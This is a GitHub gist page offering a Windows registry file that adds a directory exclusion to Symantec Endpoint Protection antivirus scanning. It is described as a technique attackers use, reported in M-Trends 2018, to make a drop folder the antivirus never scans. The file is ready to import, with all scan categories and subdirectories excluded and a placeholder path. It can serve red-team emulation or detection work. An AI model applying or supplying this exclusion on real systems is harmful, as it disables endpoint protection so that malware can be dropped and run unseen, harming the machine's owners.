-
-
Save fiercebrute/5bdd681df2c5298806d0cbb23d9fe67a to your computer and use it in GitHub Desktop.
Symantec Endpoint Protection directory exclusion registry key. According to M-Trends 2018, one of techniques used to overcome active AV scanning is to create a directory for files drop and to add it into AV's exclusion via registry.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Windows Registry Editor Version 5.00 | |
[HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Symantec\Symantec Endpoint Protection\AV\Exclusions\ScanningEngines\Directory\Client\1733004144] | |
"Owner"=dword:00000004 | |
"ProtectionTechnology"=dword:00000001 | |
"FirstAction"=dword:00000011 | |
"SecondAction"=dword:00000011 | |
"DirectoryName"="C:\\to\\be\\excluded\\" | |
"ThreatName"="C:\\to\\be\\excluded\\" | |
"ExcludeSubDirs"=dword:00000001 | |
"ExtensionList"="" | |
"ScanCategories"=dword:ffffffff |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment